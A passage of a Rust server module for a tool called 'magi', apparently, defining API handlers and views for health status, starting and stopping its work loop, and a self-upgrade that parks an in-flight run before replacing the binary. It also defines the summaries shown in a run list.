1693/// phone's "Update & restart" button, which reads it via
1694/// [`cached_update_view`] - frozen on whatever that one look found, however
1695/// many releases ship afterwards. This is what notices the rest of them,
1696/// re-reading the config each tick so a `magi.toml` edit while the server is
1697/// up takes effect without a restart, the same way every other route here
1698/// already does - both for whether checking is on at all and for how long
1699/// the next sleep should be.
1700///
1701/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1702/// "install"`: swapping the running binary out from under a task or a run
1703/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1704/// not as a side effect of a timer nobody asked to fire. This only ever
1705/// calls [`updater::Checker::newer_release`], which refreshes
1706/// `last_update_check.json` and nothing else - so under `mode = "install"`
1707/// this behaves like `notify` for as long as the deck stays up, and an
1708/// actual self-install still happens exactly where it always has: once, at
1709/// the next process start.
1710async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1711    loop {
1712        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1713        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1714        if !should_spawn_recheck(&cfg.update) {
1715            continue;
1716        }
1717        let Some(checker) = updater::Checker::new(&cfg.update) else {
1718            continue;
1719        };
1720        let progress = updater::read_progress(&home);
1721        if !update_recheck_due(&checker, progress.as_ref()) {
1722            continue;
1723        }
1724        if let Err(e) = checker.newer_release().await {
1725            tracing::warn!("background update recheck failed: {e:#}");
1726        }
1727    }
1728}
1729
1730/// [`UpdateView`] from the same throttled, disk-only state
1731/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1732/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1733/// no cached state at all, which is correct: an operator who turned checking
1734/// off gets no opinion, not a stale one.
1735fn cached_update_view(repo: &FsPath) -> UpdateView {
1736    let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1737    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1738    match latest {
1739        Some(latest) => UpdateView {
1740            available: true,
1741            to: Some(latest.tag_name),
1742        },
1743        None => UpdateView {
1744            available: false,
1745            to: None,
1746        },
1747    }
1748}
1749
1750/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1751/// from the parked run's own state when the stage is
1752/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1753/// already on disk in `run.json`, so this reads them fresh rather than
1754/// trusting whatever was true the moment the park was requested.
1755fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1756    let waiting_on = (progress.stage == updater::Stage::Parking)
1757        .then_some(progress.parked_run.as_deref())
1758        .flatten()
1759        .and_then(|id| read_run(&ui.runs, id).ok())
1760        .map(|run| {
1761            format!(
1762                "run {} is finishing {} before the address is handed over",
1763                run.short(),
1764                run.status.as_str()
1765            )
1766        });
1767    UpgradeProgressView {
1768        stage: progress.stage,
1769        from: progress.from,
1770        to: progress.to,
1771        waiting_on,
1772        started_at: progress.started_at,
1773        updated_at: progress.updated_at,
1774        detail: progress.detail,
1775    }
1776}
1777
1778/// The disk figures `/api/health` carries. Every number is produced by
1779/// [`crate::disk`], the same code that decides a run may not start, so the
1780/// health screen and the gate cannot disagree about what the machine looks
1781/// like.
1782#[derive(Debug, Serialize)]
1783struct DiskView {
1784    /// Free bytes on the volume holding the runs, when measurable.
1785    #[serde(skip_serializing_if = "Option::is_none")]
1786    free_bytes: Option<u64>,
1787    /// Everything the runs directory occupies, unreadable runs included.
1788    runs_bytes: u64,
1789    /// Everything the runs' worktrees occupy.
1790    worktrees_bytes: u64,
1791    /// The shared build cache's size, when the config names one.
1792    #[serde(skip_serializing_if = "Option::is_none")]
1793    cache_bytes: Option<u64>,
1794}
1795
1796impl DiskView {
1797    /// Measure the three directories and re-read the config's cache.
1798    fn of(ui: &Ui) -> Self {
1799        let cache_bytes = Config::discover(&ui.repo, None)
1800            .ok()
1801            .and_then(|(cfg, _)| cfg.cache_dir())
1802            .map(|dir| crate::disk::dir_size(&dir));
1803        Self {
1804            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1805            runs_bytes: crate::disk::dir_size(&ui.runs),
1806            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1807            cache_bytes,
1808        }
1809    }
1810}
1811
1812/// The daemon's state as the UI presents it.
1813#[derive(Debug, Serialize)]
1814struct DaemonView {
1815    running: bool,
1816    idle: Option<bool>,
1817    pid: Option<u32>,
1818    /// Every task and run currently in flight. Empty when idle; more than
1819    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1820    /// run going at once.
1821    current: Vec<daemon::Current>,
1822    completed: Option<u64>,
1823    stale_for_secs: Option<i64>,
1824}
1825
1826impl DaemonView {
1827    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1828    /// not this UI's — a crashed daemon must not look alive here while
1829    /// `doctor` calls it dead.
1830    fn of(status: Option<daemon::Reading>) -> Self {
1831        let Some(status) = status else {
1832            return Self {
1833                running: false,
1834                idle: None,
1835                pid: None,
1836                current: Vec::new(),
1837                completed: None,
1838                stale_for_secs: None,
1839            };
1840        };
1841        let now = Timestamp::now();
1842        let age = status.age_secs(now);
1843        Self {
1844            running: status.running(now),
1845            idle: Some(status.idle),
1846            pid: status.pid,
1847            current: status.current,
1848            completed: Some(status.completed),
1849            stale_for_secs: age,
1850        }
1851    }
1852}
1853
1854async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1855    blocking(move || {
1856        // One read of the status file for the two fields that describe it, so
1857        // `daemon` and `loop` in the same answer cannot disagree about who is
1858        // running the loop.
1859        let reading = daemon::read_status(&ui.home);
1860        // Read on its own line, not inside the literal below: the loop's lock
1861        // is not reentrant, and a guard taken as a temporary there would still
1862        // be held when `loop_view` took it again.
1863        let loop_rev = ui.lock_loop().rev;
1864        let update = cached_update_view(&ui.repo);
1865        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1866        Ok(Json(HealthView {
1867            version: env!("CARGO_PKG_VERSION"),
1868            home: ui.home.display().to_string(),
1869            queue_rev: ui.queue.revision(),
1870            runs_rev: runs_revision(&ui.runs),
1871            questions_rev: ui.questions.revision(),
1872            talks_rev: ui.talks.revision(),
1873            notifications_rev: ui.notices.revision(),
1874            notifications_unread: ui.notices.count_unread(),
1875            loop_rev,
1876            runs_unreadable: runs_unreadable(&ui.runs),
1877            questions_open: ui.questions.count_open(),
1878            questions_needs_owner: ui.questions.count_needs_owner(),
1879            daemon: DaemonView::of(reading.clone()),
1880            looping: ui.loop_view(reading),
1881            disk: DiskView::of(&ui),
1882            update,
1883            upgrade,
1884        }))
1885    })
1886    .await
1887}
1888
1889/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1890#[derive(Debug, Serialize)]
1891struct LoopView {
1892    /// A loop is running in *this* process.
1893    running: bool,
1894    /// It has been asked to stop and is still finishing a run.
1895    ///
1896    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1897    /// because the two differ exactly where it matters: a loop asked to stop
1898    /// while idle is gone within one poll interval, and one asked to stop
1899    /// mid-run keeps going for as long as the graph takes. The operator needs
1900    /// to be told which of those they are waiting for.
1901    stopping: bool,
1902    /// A park was asked for: the run in flight stops at its next node
1903    /// boundary rather than finishing.
1904    ///
1905    /// Separate from `stopping` because the two promise different waits. A
1906    /// stop is "when this competition ends", which can be an hour; a park is
1907    /// "after the step it is on", which is minutes and is what an operator
1908    /// waiting to replace the binary needs to see.
1909    parking: bool,
1910    /// The loop is this process's own.
1911    ///
1912    /// Spelled separately from `running` for the front end's sake, even
1913    /// though inside this process the two move together: `running: false`
1914    /// with `daemon.running: true` is the case where the operator's own `magi
1915    /// serve` owns the loop, and `owned` is the field that tells the UI its
1916    /// buttons have to explain that rather than pretend.
1917    owned: bool,
1918    /// Repository the loop uses for tasks that name none - what it was
1919    /// started with while it runs, and what a start would use before that.
1920    repo: String,
1921    /// Merge mode override in force, or `null` when each repository's own
1922    /// config decides.
1923    merge: Option<String>,
1924    /// Why the last loop in this process ended, when it ended badly.
1925    ///
1926    /// The only place a crashed loop is visible to someone holding a phone.
1927    /// It is logged at error level as well, but a terminal nobody kept open
1928    /// is not a report, and a loop that died at 3am must not read as merely
1929    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1930    /// answers the same question about the same kind of failure.
1931    last_error: Option<String>,
1932    /// The status file, judged the same way `/api/health` judges it: this is
1933    /// what says whether a loop is alive in some *other* process.
1934    daemon: DaemonView,
1935}
1936
1937/// A loop another process already owns.
1938///
1939/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1940/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1941/// published by a pid that is not ours. Excluding our own pid is what makes
1942/// stopping work at all - the loop this process runs writes that file too, so
1943/// a check that ignored the pid would decide the operator's own UI was a
1944/// stranger and refuse to stop the loop it had just started.
1945#[derive(Debug, Clone, Copy)]
1946struct Foreign {
1947    /// The pid the other process published, when it published one.
1948    pid: Option<u32>,
1949}
1950
1951impl Foreign {
1952    /// Another process's live loop, or `None` when this process is free to
1953    /// run one.
1954    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1955        let reading = reading?;
1956        if !reading.running(Timestamp::now()) {
1957            return None;
1958        }
1959        match reading.pid {
1960            Some(pid) if pid == std::process::id() => None,
1961            // A fresh heartbeat with no pid in it is still evidence of a live
1962            // daemon. "Some other process" is the honest answer, and refusing
1963            // to start beside it is the safe one.
1964            pid => Some(Self { pid }),
1965        }
1966    }
1967
1968    /// How a conflict names it. The pid is the whole point of the message: it
1969    /// is what the operator needs to find the terminal that owns the loop.
1970    fn who(&self) -> String {
1971        match self.pid {
1972            Some(pid) => format!("another magi process (pid {pid})"),
1973            None => "another magi process".to_owned(),
1974        }
1975    }
1976}
1977
1978/// How a loop is started, as a future this module can hold onto.
1979///
1980/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1981/// trait object or a hand-written `Debug` impl for the sake of one seam.
1982type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1983
1984/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1985fn launch_daemon(
1986    opts: daemon::Opts,
1987    stop: daemon::Stop,
1988) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1989    Box::pin(daemon::serve_until(opts, stop))
1990}
1991
1992/// The loop this process runs, behind one lock.
1993#[derive(Debug, Default)]
1994struct LoopState {
1995    /// The loop, while there is one.
1996    live: Option<Live>,
1997    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1998    ///
1999    /// The loop is in-process state rather than a file, so nothing on disk
2000    /// would tell a second phone that the first one started it. Without this
2001    /// counter the only way to learn about a start, a stop request or a crash
2002    /// would be to poll `/api/loop`, which is the thing the change stream
2003    /// exists to avoid on a mobile link.
2004    rev: u64,
2005    /// Why the last loop ended, when it ended badly. See
2006    /// [`LoopView::last_error`].
2007    last_error: Option<String>,
2008    /// The loop was running (and not already stopping) when the last upgrade
2009    /// parked it, so the successor should start one. Set afresh by every
2010    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2011    /// update.
2012    resume_after_handover: bool,
2013}
2014
2015/// A loop in flight.
2016#[derive(Debug)]
2017struct Live {
2018    /// The cooperative stop, shared with the loop task.
2019    stop: daemon::Stop,
2020    /// The task itself, kept only to answer whether it is still there: a loop
2021    /// that panicked never records its own end, and without this the view
2022    /// would go on reporting a loop that no longer exists - the one lie that
2023    /// would leave the operator with no button to press.
2024    handle: tokio::task::JoinHandle<()>,
2025    /// What the loop was started with, so the view reports the repository and
2026    /// merge mode its runs will actually use rather than what an edit to the
2027    /// config since would give.
2028    opts: daemon::Opts,
2029}
2030
2031impl Live {
2032    /// Is the task still there? See [`Live::handle`].
2033    fn alive(&self) -> bool {
2034        !self.handle.is_finished()
2035    }
2036}
2037
2038/// Take the loop lock, recovering from a poisoned one.
2039///
2040/// What this mutex holds is a stop flag, a task handle and two counters, none
2041/// of which a panic elsewhere can leave in a state worth refusing to read.
2042/// Propagating the poison instead would mean an operator who can see the loop
2043/// running and can no longer stop it from the only surface they have.
2044fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2045    state.lock().unwrap_or_else(PoisonError::into_inner)
2046}
2047
2048/// `GET /api/loop`.
2049async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2050    blocking(move || {
2051        let reading = daemon::read_status(&ui.home);
2052        Ok(Json(ui.loop_view(reading)))
2053    })
2054    .await
2055}
2056
2057/// The body of `POST /api/loop`.
2058///
2059/// One required field and nothing else: no `default` and no unknown fields,
2060/// so a body that fails to say which way the switch was flipped is a 400
2061/// rather than a tap that quietly does the opposite of what was pressed.
2062#[derive(Debug, Deserialize)]
2063#[serde(deny_unknown_fields)]
2064struct LoopCommand {
2065    running: bool,
2066    /// Stop the run in flight at its next node boundary rather than letting it
2067    /// finish.
2068    ///
2069    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2070    /// competition is tens of minutes of paid work and finishing it is
2071    /// normally the cheapest thing to do. A park is for the operator who
2072    /// wants the process gone now - to replace the binary, most of all - and
2073    /// it costs at most the node in progress because every node writes its
2074    /// state before the next one starts.
2075    #[serde(default)]
2076    park: bool,
2077}
2078
2079/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2080///
2081/// Answers with the view rather than waiting for the loop to reach the state
2082/// that was asked for. Starting is immediate anyway; stopping is not, and the
2083/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2084/// request open for. `stopping` in the answer is what the operator watches
2085/// instead.
2086async fn loop_post(
2087    State(ui): State<Arc<Ui>>,
2088    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2089) -> ApiResult<Json<LoopView>> {
2090    // Taken as a `Result` so a malformed body is a 400 like every other route
2091    // here, rather than axum's default 422 that the UI has no branch for.
2092    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2093    blocking(move || {
2094        let reading = daemon::read_status(&ui.home);
2095        let foreign = Foreign::of(reading.as_ref());
2096        if body.running {
2097            ui.start_loop(foreign)?;
2098        } else {
2099            ui.stop_loop(foreign, body.park)?;
2100        }
2101        Ok(Json(ui.loop_view(reading)))
2102    })
2103    .await
2104}
2105
2106/// What `POST /api/upgrade` set in motion.
2107#[derive(Debug, Serialize)]
2108struct UpgradeView {
2109    /// The version this process is running.
2110    from: String,
2111    /// The release it is replacing itself with, when there is one.
2112    to: Option<String>,
2113    /// A run was parked first, and this is its id.
2114    parked: Option<String>,
2115    /// What the operator should expect to happen next.
2116    detail: String,
2117}
2118
2119/// `POST /api/upgrade` - replace this binary with the newest release and come
2120/// back on it.
2121///
2122/// The one thing the deck could not do for itself. Every fix landed today
2123/// either waited for a competition to end or went in with the deck stopped,
2124/// because `cargo install` cannot overwrite a running executable on Windows.
2125/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2126/// the new one in its place, so the swap itself needs no downtime. Only the
2127/// restart does, and the order is the whole design:
2128///
2129/// 1. **Park.** A run in flight stops at its next node boundary and stays
2130///    resumable, so this costs at most the node in progress rather than the
2131///    competition. Without it the honest choices were waiting an hour or
2132///    discarding paid agent work.
2133/// 2. **Replace.** The new binary goes into place while this one still runs.
2134/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2135///    successor - see [`spawn_successor`] for what happens in the other
2136///    order.
2137/// 4. **Resume.** The next loop carries the parked run on rather than
2138///    competing again; see `daemon::attempt`.
2139///
2140/// Answers **202**: the reply has to reach the phone while this process can
2141/// still send one, and the phone learns the deck is back by reconnecting.
2142async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2143    let reading = daemon::read_status(&ui.home);
2144    if let Some(other) = Foreign::of(reading.as_ref()) {
2145        return Err(ApiError::conflict(format!(
2146            "the loop belongs to {}, so replacing this binary would leave \
2147             that process running an old one against the same queue. Upgrade \
2148             where it was started.",
2149            other.who()
2150        )));
2151    }
2152
2153    // The same kill switch the background check honours (`disabled_by_env`),
2154    // checked before anything else for the same reason it is read before the
2155    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2156    // contact GitHub from this process", and a button press must not
2157    // override that any more than a broken `magi.toml` may.
2158    if crate::updater::disabled_by_env() {
2159        return Ok((
2160            StatusCode::OK,
2161            Json(UpgradeView {
2162                from: env!("CARGO_PKG_VERSION").to_owned(),
2163                to: None,
2164                parked: None,
2165                detail: format!(
2166                    "Automatic updates are disabled by {}. Nothing was parked \
2167                     and nothing restarted.",
2168                    crate::updater::NO_AUTOUPDATE_ENV
2169                ),
2170            }),
2171        ));
2172    }
2173
2174    // Asked before anything is disturbed. Restarting when there is nothing
2175    // to install is not a harmless no-op: it parks the run in flight and
2176    // drops every connection to pay for an upgrade that did not happen. A
2177    // probe against a deck already on the newest build did exactly that.
2178    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2179    let from = env!("CARGO_PKG_VERSION").to_owned();
2180    let latest = match crate::updater::Checker::new(&cfg.update) {
2181        Some(checker) => checker
2182            .newer_release()
2183            .await
2184            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2185        None => None,
2186    };
2187    let Some(latest) = latest else {
2188        return Ok((
2189            StatusCode::OK,
2190            Json(UpgradeView {
2191                from,
2192                to: None,
2193                parked: None,
2194                detail: "Already on the newest release. Nothing was parked \
2195                         and nothing restarted."
2196                    .to_owned(),
2197            }),
2198        ));
2199    };
2200
2201    // Parked before anything is replaced: a successor that came up while a
2202    // run was mid-node would find a run nobody is driving.
2203    let parked = ui.park_for_upgrade()?;
2204    let detail = match &parked {
2205        // Honest about the wait. A park takes effect at the *next* node
2206        // boundary, so a run mid-implement finishes that wave first - up to
2207        // `timeout_implement`, an hour by default. Saying "restarting now"
2208        // would make the deck look wedged for the rest of it.
2209        Some(run) => format!(
2210            "Run {} is parking at its next step, which can take as long as \
2211             the step it is on - up to an hour for an implement wave. The \
2212             deck replaces itself once it parks, comes back, and the loop \
2213             carries that run on from where it stopped. Nothing is lost if \
2214             you close this.",
2215            crate::run::short_of(run)
2216        ),
2217        None => "The deck replaces itself and comes back. Nothing was in \
2218                 flight to park."
2219            .to_owned(),
2220    };
2221
2222    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2223    // poll must see a `Downloading` stage immediately, not whenever the
2224    // spawned task happens to get scheduled.
2225    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2226    progress.parked_run = parked.clone();
2227    let _ = updater::write_progress(&ui.home, &progress);
2228
2229    let home = ui.home.clone();
2230    let looping = ui.looping();
2231    tokio::spawn(async move {
2232        if let Err(e) = upgrade_and_restart(home.clone()).await {
2233            tracing::error!("the upgrade did not complete: {e:#}");
2234            lock_or_recover(&looping).resume_after_handover = false;
2235            if let Some(mut progress) = updater::read_progress(&home) {
2236                progress.fail(format!("{e:#}"));
2237                let _ = updater::write_progress(&home, &progress);
2238            }
2239        }
2240    });
2241
2242    Ok((
2243        StatusCode::ACCEPTED,
2244        Json(UpgradeView {
2245            from,
2246            to: Some(latest.tag_name),
2247            parked,
2248            detail,
2249        }),
2250    ))
2251}
2252
2253/// Replace the binary, then ask [`serve`] to hand the address over.
2254///
2255/// Separated from the handler so the 202 is already on its way, and separated
2256/// from the spawn so the successor starts only after the listener is dropped.
2257async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2258    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2259    // hang the upgrade for as long as the process lives.
2260    crate::updater::run_self_update(true, false, true).await?;
2261    tracing::info!("binary replaced - asking the server to hand over");
2262    if let Some(mut progress) = updater::read_progress(&home) {
2263        progress.advance(updater::Stage::Replaced);
2264        let _ = updater::write_progress(&home, &progress);
2265    }
2266    HANDOVER.notify_one();
2267    Ok(())
2268}
2269
2270/// One row in the run list.
2271///
2272/// The list route returns this rather than whole `RunState`s: the summary of a
2273/// run is a few hundred bytes and the state is megabytes, and the difference
2274/// is what makes the history usable on a mobile link.
2275#[derive(Debug, Serialize)]
2276struct RunSummary {
2277    id: String,
2278    short: String,
2279    status: String,
2280    done: bool,
2281    instruction: String,
2282    title: String,
2283    repo: String,
2284    repo_name: String,
2285    created_at: String,
2286    updated_at: String,
2287    candidates: usize,
2288    viable: usize,
2289    judges: usize,
2290    winner: Option<char>,
2291    reviews: usize,
2292    quota_losses: usize,
2293    event: Option<String>,
2294    /// The later attempt at the same task that replaced this one, if any.
2295    ///
2296    /// Two cards with one title is otherwise unreadable: this is what lets
2297    /// the deck say "superseded by 4043" on the older of the pair.
2298    superseded_by: Option<String>,
2299    /// Blocked on a question nobody has answered.
2300    ///
2301    /// Derived from the question store rather than stored on the run: an agent
2302    /// calling `magi ask` blocks mid-node, and writing a status from there
2303    /// would race the graph's own save of `run.json` and be overwritten at the
2304    /// next node boundary. Asking the store is always true and never races.
2305    waiting: bool,
2306    /// Whether the process recorded as driving this run can still be proven
2307    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2308    /// rather than presenting its last graph node as still in flight.
2309    live: crate::run::Liveness,
2310    /// The land loop's last look at the pull request, when there is one.
2311    pr: Option<crate::run::PrRecord>,
2312    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2313    /// design — never picked up by the PR-polling merge watcher, unlike an
2314    /// ordinary `Ready` that may still be a live landing candidate. See
2315    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2316    /// re-deriving the same check from `status` and `merge.mode` itself.
2317    unmerged_by_design: bool,
2318    /// Who started the run, as the one label every surface shares; the
2319    /// "origin unknown" wording when the record predates origins.
2320    origin_label: String,
2321}
2322
2323impl RunSummary {
2324    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2325        Self {
2326            id: state.id.clone(),
2327            short: state.short().to_owned(),
2328            status: status_word(state.status),
2329            done: state.status.done(),
2330            unmerged_by_design: state.unmerged_by_design(),
2331            instruction: state.instruction.clone(),
2332            title: title_from(&state.instruction, TITLE_MAX),
2333            repo: state.repo.display().to_string(),
2334            repo_name: state
2335                .repo
2336                .file_name()
2337                .map(|n| n.to_string_lossy().into_owned())
2338                .unwrap_or_default(),
2339            created_at: state.created_at.to_string(),
2340            updated_at: state.updated_at.to_string(),
2341            candidates: state.candidates.len(),
2342            viable: state.viable().len(),
2343            judges: state.config.graph.judges,
2344            winner: state.winner().map(|c| c.label),
2345            reviews: state.reviews.len(),
2346            quota_losses: state.quota.len(),
2347            event: state.events.last().map(|e| e.message.clone()),
2348            waiting,
2349            live,
2350            // Filled in by the list route, which is the only place that can
2351            // see a task's other attempts.
2352            superseded_by: None,
2353            pr: state.pr.clone(),
2354            origin_label: crate::run::origin_label(state.origin.as_ref()),
2355        }
2356    }
2357}
2358
2359/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2360/// the same string `serde` writes for the status inside a full run.
2361fn status_word(status: RunStatus) -> String {
2362    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2363    // was a third way of naming the same statuses, and one that changed
2364    // silently with a derive.
2365    status.as_str().to_owned()
2366}
2367
2368/// `?limit=`, clamped by the handler.
2369#[derive(Debug, Deserialize)]
2370struct ListQuery {
2371    #[serde(default)]
2372    limit: Option<usize>,
2373}
2374
2375async fn runs_list(
2376    State(ui): State<Arc<Ui>>,
2377    Query(q): Query<ListQuery>,
2378) -> ApiResult<Json<Vec<RunSummary>>> {
2379    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2380    blocking(move || {
2381        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2382        let states = run_ids(&ui.runs)
2383            .into_iter()
2384            // A run whose state cannot be read is skipped, not fatal: a run
2385            // killed mid-write must not blank the history of every other one.
2386            // The detail route still explains it, which is where an operator
2387            // asking "what happened to that run" ends up.
2388            .filter_map(|id| read_run(&ui.runs, &id).ok())
2389            .take(limit);
2390        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2391        let summaries = summarize(
2392            states,
2393            &open_runs,
2394            &claimed,
2395            &superseded,
2396            |p| probe.borrow_mut().status(p),
2397            |p| probe.borrow_mut().started_at(p),
2398        );
2399        Ok(Json(summaries))
2400    })
2401    .await
2402}
2403
2404/// Everything the per-run rows share, read once: runs with an open question,
2405/// runs a live daemon claims, and the superseded map. Asking per run re-read
2406/// every question file and the daemon status file for each of hundreds of
2407/// runs, and spawned a process probe per run on Windows.
2408fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2409    let open_runs: HashSet<String> = ui
2410        .questions
2411        .list()
2412        .into_iter()
2413        .filter(|q| q.status.open())
2414        .map(|q| q.run)
2415        .collect();
2416    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2417        .into_iter()
2418        .map(|c| c.run)
2419        .collect();
2420    (open_runs, claimed, ui.queue.superseded())
2421}
2422
2423/// The rows of the run list, given everything that is shared between them.
2424///
2425/// Pure over its inputs so a test can count how often the process queries are
2426/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2427/// takes, called at most once per run.
2428fn summarize<I, S, D>(
2429    states: I,
2430    open_runs: &HashSet<String>,
2431    claimed: &HashSet<String>,
2432    superseded: &HashMap<String, String>,
2433    mut status_q: S,
2434    mut identity_q: D,
2435) -> Vec<RunSummary>
2436where
2437    I: IntoIterator<Item = RunState>,
2438    S: FnMut(u32) -> Option<bool>,
2439    D: FnMut(u32) -> Option<String>,
2440{
2441    states
2442        .into_iter()
2443        .map(|state| {
2444            let waiting = open_runs.contains(&state.id);
2445            let live =
2446                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2447            let mut row = RunSummary::of(&state, waiting, live);
2448            row.superseded_by = superseded
2449                .get(&state.id)
2450                .map(String::as_str)
2451                .map(crate::run::short_of)
2452                .map(str::to_owned);
2453            row
2454        })
2455        .collect()
2456}
2457
2458/// A run as the detail route hands it to the phone.
2459///
2460/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2461/// the instruction as markdown, and the raw `instruction` field this struct
2462/// still carries (unchanged) is what a client wanting the exact bytes reads
2463/// instead.
2464#[derive(Debug, Serialize)]
2465struct RunDetailView {
2466    #[serde(flatten)]
2467    state: RunState,
2468    instruction_md: Vec<md::Node>,
2469    /// Whether a process is actually still driving this run: `"live"`,
2470    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2471    ///
2472    /// `state.active` (flattened in above) is only ever cleared by the
2473    /// process that populated it; a killed one leaves its last wave's
2474    /// entries behind. Carrying this alongside is what lets the phone rail
2475    /// tell "this seat is still answering" from "this seat was still
2476    /// answering when whatever was driving this run died" without a second
2477    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2478    /// proof of either. A string rather than a bool on purpose: a daemon
2479    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2480    /// and neither proven is `"unknown"` — folding that third case into
2481    /// either end of a bool is exactly the wrong call for a phone screen an
2482    /// operator uses to decide whether to wait or to act.
2483    live: crate::run::Liveness,
2484    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2485    /// alongside the flattened `state` rather than inside it, since
2486    /// `RunState` has no business knowing which of its own methods a caller
2487    /// wants serialized.
2488    unmerged_by_design: bool,
2489    /// Same field and meaning as [`RunSummary::done`]: whether the status is
2490    /// terminal. The client's `landView` keys on it, and the flattened state
2491    /// has no such field, so without it a finished run's stale `open` PR
2492    /// would be painted as live on the detail page.
2493    done: bool,
2494    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2495    /// route fills it from [`Queue::superseded`], the detail route from
2496    /// [`Queue::superseded_by`], and both read the same underlying task
2497    /// order. Without this the detail page could only ever show a red
2498    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2499    /// with nothing anywhere saying so — an operator opening it had no way
2500    /// to tell "this is done elsewhere" from "this still needs a retry".
2501    superseded_by: Option<String>,
2502    /// The task's current attempt, when this run is an older one — resolved
2503    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2504    /// the client to derive.
2505    ///
2506    /// Three things a client cannot safely do on its own drove this onto the
2507    /// server: it has to name the chain's *current head*, not just the next
2508    /// attempt (`superseded_by` above), because an intermediate retry in a
2509    /// longer chain can itself still be unresolved; it has to resolve to a
2510    /// real id rather than a short id a client would have to guess a full id
2511    /// from, which is ambiguous the moment two runs share a suffix; and it
2512    /// has to read that head's own status directly, because whether a run
2513    /// list a client happens to have cached even contains that attempt
2514    /// depends on a page limit this route knows nothing about.
2515    latest_attempt: Option<LatestAttempt>,
2516    /// The queue task this run belongs to, so the detail page can link back
2517    /// to the task's own page. `None` for a run nobody queued (`magi run`).
2518    task: Option<TaskRef>,
2519    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
2520    /// run recorded before origins existed. `origin` itself (flattened in
2521    /// with `state`) is `null` in that case.
2522    origin_label: String,
2523}
2524
2525/// A task named from a run's detail page.
2526#[derive(Debug, Serialize)]
2527struct TaskRef {
2528    id: String,
2529    short: String,
2530    title: String,
2531    /// [`Source::label`], e.g. `chat@a1b2`.
2532    source_label: String,
2533    /// Where the task came from, when that place has a page; see [`source_link`].
2534    source_link: Option<SourceLink>,
2535    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
2536    status: &'static str,
2537    attempts: usize,
2538    max_attempts: usize,
2539    /// This run is the last entry of the task's run list.
2540    is_latest: bool,
2541    /// The task's newest run, when it is not this one.
2542    latest: Option<RunBrief>,
2543    /// The run that finished a `done` task (merged, or already in the base).
2544    finished_by: Option<RunBrief>,
2545    /// The task is `done` but no run on record finished it: closed by hand.
2546    closed_by_hand: bool,
2547}
2548
2549/// The page that filed a task, as the UI links to it.
2550#[derive(Debug, PartialEq, Eq, Serialize)]
